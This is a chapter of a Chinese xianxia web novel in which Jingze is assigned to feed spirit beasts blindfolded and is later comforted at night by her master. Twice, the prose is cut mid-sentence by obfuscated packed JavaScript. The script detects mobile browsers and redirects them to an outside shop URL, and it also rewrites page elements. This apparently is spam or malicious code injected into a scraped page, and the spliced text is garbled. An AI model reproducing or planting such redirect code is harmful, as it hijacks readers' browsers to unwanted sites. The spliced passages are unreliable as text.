司寒晔微微颔首,神色淡然无波:“故而我再问二位,当真决意拜师?若只是一时好奇、随性消遣,我劝二位及早折返,仙盟清苦,道途孤寂,绝非嬉戏游乐之地。” 景泽乍一听觉得司寒晔说得相当有道理,仔细一琢磨,又总觉得哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盟主宫里非常奢华,富丽堂皇得不像是修行之人的居所,殿内陈设构造极其讲究,一桌一椅,一瓶一炉,都摆放得恰到好处。 不愧是一根头发丝儿就价值两万两黄金的南宫苍梧的殿宇,这排场,这气派,怕是当年的灵昭国皇帝也不过如此了。 彼时南宫苍梧正坐在宝座之上,一手执白子,一手执黑子,自顾自地下棋。 察觉到她们的到来,南宫苍梧抬起头,温和一笑,“听说你们想拜入我座下?” 景泽:“正是!” 蔡乔:“正是!” 南宫苍梧放下手中棋子,目光在二人脸上扫过,语重心长道:“在如此严峻的大环境下,你们还有一腔修行之心,确实非常可贵,你们要想拜入我门下,我也不拦着,不过在这之前,我需要先查探一下你们的灵根。” 景泽心头一惊,暗暗叫苦。 怎么拜个师这么麻烦,又要查探灵根?之前那个长歌宗宗主周道海还说她灵根差来着,要是南宫苍梧查探出同样的结果,那么她们这一趟岂不是又白跑了? 她正担忧间,南宫苍梧已抬手将她二人的灵根查探完毕。 只见南宫苍梧颇为温和地摇了摇头,嘴角仍挂着笑意,但那笑意里多了一丝惋惜。 完了后他冲她们一笑,正要开口:“你们……” 他话还没说出口,景泽忽然打断了他。 她看出了南宫苍梧眼中的婉拒之意,心中一急,扑通一声跪了下去,同时伸手拉了拉蔡乔的袖子。 蔡乔会意,也连忙跟着跪下,两人拜伏于地上,额头几乎触到了地上的灵玉砖。 景泽朗声道:“恳请盟主收我二人为徒!若是盟主觉得我二人灵根太差,资质不够,我二人可以先从下人做起。端茶倒水、扫地擦窗、洗衣叠被、跑腿传话,什么活我们都可以干,什么苦我们都能吃!还望盟主将我们留下,给我们一个机会!” 空气仿佛凝固了,偌大的盟主宫里安静得落针可闻,只有殿角香炉中飘出的袅袅香烟在缓缓升腾。 南宫苍梧没有出声,景泽也不敢抬头,只能紧盯着地面灵玉砖上的花纹,心跳如擂鼓。 良久,南宫苍梧的声音终于在她们头顶响起:你二人既执意留在此处,我便予你二人两条路择选。” “其一,留居盟主偏殿,做殿内侍女,日常侍奉笔墨茶点、整理殿中陈设,居所安稳,境遇清闲。” “其二,去往仙盟后山,豢养各方灵兽,山居苦修,风餐露宿,朝夕与异兽相伴,境遇清苦劳顿。” “你二人,各选一个吧!” 49. 饲兽 南宫苍梧的意思很明显,让她们俩各自选一个。蔡乔抬头看了眼南宫苍梧,又飞快地垂下眼睫,小心翼翼央求:“我……我能否与景泽同择一处?” 南宫苍梧指尖捻着一枚黑子,指尖微落,“嗒”的一声轻响,棋子稳稳落于纵横棋盘之间。 他抬眸浅笑,神色和煦温润,偏偏字句斩钉截铁,无半分转圜余地:“不可。” 只二字,便断了蔡乔所有念想。蔡乔心里倏地一空,嘴唇动了动,终究没再说什么。 而景泽已经做出了选择,只见她扣首一礼,目光异常坚定:“回盟主,我选择去后山喂灵兽,让蔡乔留居盟偏殿,做殿内侍女。” 南宫苍梧给出的两个选择,艰辛程度明显不同,景泽之所以毫不犹豫地选择了最辛苦的那个,是因为这本就是她的事。 蔡乔愿意陪她前来找逸归尘的线索,她已经很感激了,如果再将最辛苦的选择推给蔡乔,那她简直非人哉。 蔡乔骤然回首,眼底满是错愕:“景泽你……” 景泽恍若未闻,神色淡然无波,再度深深躬身叩首:“还望盟主成全。” 南宫苍梧静静看着她,眸底深浅难辨,终是微微颔首,允了她所求。 · 几经辗转,景泽被一个小童子领着上了后山。 这小童子外观跟个七八岁的孩童一样,白白胖胖,梳着两个圆髻,瞧着甚是可爱。可一开口,声音却是成年人的调调,低沉喑哑,透着与外貌全然不符的老成。 他带着景泽沿着蜿蜒的石径往后山深处走去,边走边说:“仙盟后山灵兽万千,皆是盟主悉心豢养的奇珍异兽,世间罕有,价值无双。故而此地布有高阶禁制,一则防灵兽出逃为祸,二则阻外人擅闯窥探,姑娘只需恪守规矩,便无凶险。” 景泽抬眸远眺,只见层林叠翠之间,氤氲着一层厚重灵光,瑞气沉沉,裹挟着凛然威压。 她收回目光,微微颔首:“我明白。” 小童子圆圆的脸上扯出一抹世故笑意,与孩童样貌殊为违和:“既懂规矩,那么我先引姑娘安顿居所,再教姑娘饲兽章程,熟习差事。” 景泽立即拱手道:“有劳。” 只见那童子双指并拢抵于胸前,唇齿轻动,默念了几句咒诀。 须臾之间,那密不透风的灵光禁制缓缓裂开一道缝隙,清渺灵气自缝隙中喷涌而出。 景泽紧随其后踏入山中,刹那间,一股浓稠至极的灵气扑面而来,混着深山草木的清润与雨后湿凉气息,涤荡周身。 待她脚步落地,身后灵光缝隙已然悄无声息合拢。 方才站在外面,这禁制隔绝了山里的一切,安静得如同寻常山林。现在进来了,景泽才发觉里面完全是另一个世界,她能清清楚楚地听见四面八方传来的野兽低吼。 那低吼声嘈嘈杂杂,此起彼伏,有的沉闷如滚雷,有的尖厉似婴啼,有的粗砺得像是有人在用砂纸刮擦骨头。 景泽听得脊背发凉,一身冷汗倏然浸透衣衫。 她深吸一口气,努力让自己镇定下来,加快脚步跟紧了前面的小童子。 那小童子在蜿蜒的山道上七扭八拐,走得轻车熟路。 景泽一边走一边默默记着路,约莫过了一炷香的工夫,眼前豁然开朗,出现了一片幽静的竹林。 竹林深处,藏着一间小小的竹屋。 小童子推开歪斜吱呀的竹门,回头道:“日后此处便是姑娘的居所,每日三餐自有人送至门口,姑娘自取即可。” 景泽走进竹屋,目光所及之处,不由得微微一怔。 这竹屋果真是简陋到了极致,陈设破败不说,还有一股霉味儿。 屋子里摆着一张小木床,床上铺着一层薄薄的褥子,靠窗有一套桌椅,墙角搁着个铜盆和一个木桶,铜盆里有一汪浑浊的积水,木桶也半干半湿的。 景泽走近那铜盆,低头一看,发现盆底的积水已经微微发绿,不由得蹙了蹙眉头。 小童子瞧出她心思,笑着解释:“此屋年久失修,每逢风雨便漏,委屈姑娘了。只是荒山野岭,有片瓦遮身,已是万幸,姑娘说是也不是?” 想起之前在沧溟城流浪的日子,露宿街头、风餐露宿都是家常便饭,她忽然觉得这里条件已经很好了。至少有一间屋子,有一张床,能遮风挡雨,虽然这屋顶也不怎么遮得住。 她笑着回道:“哪里哪里,这条件已经可以了。” 童子只当她是客套,又好心提点道:“姑娘若要沐浴,出竹林左拐两弯,行数百步,有天然温泉,水温适宜,大可休憩洗尘。” 听到“温泉”二字,景泽眼睛瞬间亮了。 还以为这喂灵兽多艰苦呢,没想到竟有此等好事,至少生活条件上非常合她意。 介绍完居所之后,小童子这才领着她,前往养兽场。 越靠近那养兽场,四周的灵兽低吼声越发大声,也越发密集。 景泽听得心底发毛,喉咙不自觉地滚了滚,忍不住问道:“敢问道童,后山饲兽,共有几名弟子值守?” 那小童子头也没回,轻描淡写地回道:“就姑娘一个人,不过偶尔会有人来检查,姑娘万万不可偷懒懈怠。” 景泽呼吸猛地一窒,原以为会有个伴什么的,哪怕是个不怎么说话的人也好啊,没想到就她一个人!一想到后面的日子里,只她一人去应付那些光听声音就让人后背发凉的野兽,她就觉得头皮一阵阵发麻。 她压下心绪,又问:“此前此处,无人值守饲兽么?” 那小童子非常负责地给她解释说:“这些灵兽直到昨天都是有人喂的,只是很可惜,那喂灵兽的男子最终没有坚持下去,逃跑了。” “逃跑?” 景泽纳闷,“为什么要逃跑?不就是喂个灵兽,有什么坚持不下去的?” 小童子没有直接回答,只是讳莫如深地摇了摇头,然后停下了脚步,微微侧身。 “姑娘,到了。” 景泽抬眸望去,周遭尽是参天雪岭云杉,树干挺拔笔直,冠叶繁茂如盖,遮天蔽日,将整片山林笼得昏暗幽深。 放眼四顾,不见半分灵兽踪迹,连一根兽毛也看不到。 但话又说回来,光听声音的话,那些灵兽的低吼声确实比刚才清晰多了,仿佛近在咫尺。 看到景泽一头雾水地四处张望,小童子早有预料地笑了笑,从袖中摸出一截灰布条,递到她面前,示意道:“此地灵兽生性怯懦,最忌与凡人对视,一旦被人窥见形貌、与之目光相触,便会狂性大发,暴戾嗜血,攻击性无人能挡。姑娘入内饲兽,务必以此布蒙眼,全程不可摘下,切记,切记!” 景泽深吸一口气,从小童子手中接过布条,按照对方的要求,双手绕到脑后,用布条紧紧蒙住了眼睛。 视觉被剥夺之后,其他感官便变得格外敏锐。 比如听觉,她能听见风吹过云杉针叶的沙沙声,远处溪水流淌的潺潺声,以及自己的心跳声,咚、咚、咚,一下一下,沉稳而有力。 接下来,小童子告诉了她一串咒诀,并让她记住然后念出来。 景泽好歹是纥奚时砚的关门弟子,即便灵脉被封,念几句咒诀也难不倒她。 她在心里默念了两遍,记住了调子,轻轻松松把咒诀念了出来,一字不差。 念完之后,她听到那小童子满意地说:“很好,养兽场已经开了,姑娘。” “介于你是新人,第一天来,很多东西不懂,故而我带着你把你每天要做的事情过一遍。” “往后就是你一个人来喂灵兽了,能接受么?” 来都来了,而且都到了这一步,景泽难不成还能说个“不”字?可见这童子问的是一句废话,但景泽还是重重点了下头,来表示她接下来留在仙盟喂灵兽的决心。 随后那小童子扶着她走了进去,耳畔灵兽的低吼震得她心肝都在发颤,交织在一起,如同千军万马在耳边嘶吼。 越往里面走,空气里的臭味越浓重。 有腐烂的肉糜气息,有粪便发酵后的酸臭,有兽类身上特有的腥臊,还有一种沤了很久的甜腻腐臭,多种气味混杂在一起,浓烈像一堵墙一样迎面撞来。 若是放在平时,这种臭味她或许可以忍受,可现在视线受阻,眼睛看不见,嗅觉和听觉便被放大了几十倍,是以一点小小的气味都会让她敏感不已,更别说这滔天的恶臭。 她感觉自己的胃开始翻涌起来。 紧接着,一只手里被递过来一个沉甸甸的铁桶,另一只手里被塞进一个铲子,“日后每天都有人将铁桶放在此处,姑娘只需蹲下,就能够到。” “是。” 话音落罢,一股更加恶心的味道从桶里扑面而来,生肉腐烂后混合着血的腥臭,浓烈得像是有人把一团腐肉直接怼到了她鼻子底下。 景泽喉咙猛地收紧,胃里止不住地翻腾,她终究没能忍住,“哇”地一声,弯下腰吐了出来。 现在她终于知道之前那个男子为什么坚持不下去了,这么恶心的工作环境,谁来了不得跑啊! 小童子把她的反应都看在眼底,静静地等着她吐完,才重新开口问:“姑娘,可以了吗?” 景泽用袖子擦了擦嘴角,直起身,声音有些发哑:“可以了。” 小童子便继续将她往前面带,托着她的手,做着将铁桶里的东西铲出来的动作,一边做一边耐心地讲解:“你记住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616993|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从这里开始,每走三步铲一铲,均匀地撒在两侧……” “不要集中在一个地方,灵兽们会抢食,抢起来会很麻烦。” 景泽强忍着恶心,按照小童子的吩咐,把铁桶里的东西一铲一铲地铲出来。桶里的东西触感湿滑黏腻,她用铲子拨动的时候,能感觉到那东西的分量和质感,软的、烂的、带着块状的碎屑 她不敢去想那到底是什么,随后,她听到耳边传来咔嚓咔嚓的咀嚼声。声音之大,像是在咀嚼她的脑袋,她心里明白,那灵兽此时与她之间的距离,可能还不到一臂。 即便她浑身僵硬,汗毛根根竖起,但还是咬紧了牙关,强迫自己别表现出怯懦的一面。 小童子说过,这些灵兽胆小,心思敏感,若是她表现得太过慌张不知所措,肯定会让这些灵兽变得暴躁。 一旦它们暴躁起来,在这蒙着眼睛、手无寸铁的情况下,她连怎么死的都不知道。 除了在刚进去时反应有些不适,后面她一直都表现得非常淡定,甚至连眉头都没动一下。 喂完灵兽出来时,太阳已经落山了。 天边最后一抹余晖被群山吞没,暮色如同潮水般从四面八方涌来,景泽站在养兽场外,将蒙在眼睛上的布条取下来,长长地吐了一口气。 小童子道:“姑娘今日心性定力,实属难得,此后日日当值,便需姑娘一人独自完成,路径章法、饲食规矩,可都记熟了?” 景泽颔首:“是。” 童子微微点头,转身离去,身影渐消于苍茫山道暮色之中。 山上晚风一吹,寒意顺着领口灌进来,景泽这才发觉自己的后背已经被冷汗浸湿透了,冷得她打了个哆嗦。 她回头看了一眼养兽场的方向,目之所及,全是成片的雪岭云杉,层层叠叠,密密匝匝,一眼望不到头。 · 景泽拖着疲惫的身子回到竹屋,往床上一躺,整个人像散了架一样,一点都不想动。 那臭味把她刺激得不轻,她躺了好半天,头还是疼得厉害,像是有谁拿绳子在勒她脑袋,并一下一下地收紧。 期间有人来给她送饭,放在竹屋门口,她挣扎着爬起来,把食盒端进来打开一看,吃食挺丰盛的,有荤有素,还有一碗热气腾腾的汤,米饭也盛得满满当当。 早就听闻仙盟伙食好,如今真能吃到了,她却一点胃口都没有。 那股子腐烂的血腥味像是钻进了她的鼻腔深处,怎么都散不掉。 她试着夹了一筷子菜放进嘴里,嚼了两下,只觉得味同嚼蜡,甚至隐隐约约又尝到了那股恶心的味道。 于是她把筷子放下,重新躺回床上。 夜色覆盖整片山林,竹屋没有灯,只有月光从破损的屋顶漏进来,在地上投下一小片惨白的光。 景泽难受得在床上滚了好几圈,脑袋越来越疼,胃也越来越不舒服,最终她没有忍住,趴在床边又吐了一场。 吐完后,她无力地瘫回床上,头颅胀痛不止,胸腹反复翻涌,疲惫、恶心、眩晕尽数缠裹周身,将她心神揉得纷乱模糊。 混沌之间,忽觉床榻微微一沉,似有人轻身落座床边。 下一瞬,一双修长白皙的手掌轻轻托住她的后脑,指腹沉稳有力,细细按揉她胀痛的太阳穴。 一股温润纯粹的灵力,自指尖缓缓渡入她经脉,如春日暖流消融冰封寒川,游走四肢百骸。 头颅剧痛缓缓消散,胸腹翻涌的恶心之感也渐渐平复,周身疲惫被暖意温柔抚平。 来人身上清冽松木气息萦绕周遭,温厚安稳,自带心安之力,莫名让她全然信赖。 景泽心神恍惚,全然失了平日的自持,下意识往那温暖怀中依偎,呢喃出声:“我想听故事,你给我讲个睡前故事好不好?” 她脑袋轻轻蹭着来人腰间,贪恋着那股安稳气息,哼哼唧唧软声央求:“求求你了,我要听故事,就讲一个。” 竹屋之中寂静片刻。 须臾,头顶落下一道清润悦耳的嗓音,如月光覆雪,又藏着几分浅淡戏谑:“从前有位天真国君,心怀苍生,欲令万民安乐,鞠躬尽瘁,勤勉半生,最后死了。” 景泽眉心骤然一蹙,昏沉嘟囔:“换一个。” 那嗓音微顿,再续道:“从前有位和煦太子,热忱仗义,待人温厚,人缘无双,一生坦荡,最后也死了。” 景泽眉头拧得更紧,满心烦躁,闷闷出声:“再换。” “从前有个……” “不许讲了!” 景泽将脸埋进他怀里,轻声打断。 耳畔随即响起一声低低浅笑,轻柔如风,散于沉沉夜色之中。 来人正是纥奚时砚。